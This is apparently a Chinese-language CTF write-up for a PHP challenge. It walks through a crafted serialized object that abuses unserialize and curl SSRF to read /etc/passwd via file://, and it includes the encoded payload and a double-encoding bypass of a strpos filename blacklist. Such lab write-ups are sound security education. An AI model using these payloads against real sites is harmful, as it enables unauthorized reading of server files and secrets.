Vice

Source code


看到了__construct__destruct就想到了反序列化;看到了curl,就想到了ssrf。应该就是反序列化结合ssrf读flag的考点了。

Trying to unserialize

首先测试一下反序列化配合ssrf的file协议,看看常规操作能不能读取文件。
首先根据源码,自己写php,将变量序列化输出

<?php

class SHITS{
    private $url;
    private $method;
    private $addr;
    private $host;
    private $name;
    function __construct(){
        $this->method = 'doit';
        $this->url = 'file:///etc/passwd';
    }
}
$test = new SHITS();
$a = serialize($test);
echo $a ;
echo "<br>";
echo urlencode($a);
?>
/* 
输出:
O:5:"SHITS":5:{s:10:"SHITSurl";s:18:"file:///etc/passwd";s:13:"SHITSmethod";s:4:"doit";s:11:"SHITSaddr";N;s:11:"SHITShost";N;s:11:"SHITSname";N;}
O%3A5%3A%22SHITS%22%3A5%3A%7Bs%3A10%3A%22%00SHITS%00url%22%3Bs%3A18%3A%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3Bs%3A13%3A%22%00SHITS%00method%22%3Bs%3A4%3A%22doit%22%3Bs%3A11%3A%22%00SHITS%00addr%22%3BN%3Bs%3A11%3A%22%00SHITS%00host%22%3BN%3Bs%3A11%3A%22%00SHITS%00name%22%3BN%3B%7D
*/

可以发现,能成功读取/etc/passwd
-w1581

这里有一个坑就是,在线url编码的并不能成功读取文件,php里面urlencode()函数编码的就可以成功读取,但是两者url解码结果是一样的。。后来通过“一起来找茬”发现,urlencode()多了'%00'这个东东,填坑!

Trying to read flag

既然能通过file协议读取文件,下一步之需要把flag的目录找到就可以了。但是也没说flag在哪个文件~所以首先尝试读一下源码里的config.php,手动遍历网站目录,得到/var/www/html,接下来就要考虑如何绕过限制了。

strpos()有一个bug,可以通过二次编码来绕过,.可以用%2e来代替。
而且curl可以自动对url进行解码,配合起来即可。

if($this->addr !== "127.0.0.1" || $this->name === false){
      $not = ['.txt','.php','.xml','.html','.','[',']'];
      foreach($not as $ext){
        $p = strpos($this->url,$ext);
        if($p){
          die(":)");
        }
}

Bingo...
-w1582

Reference

PHP Object injection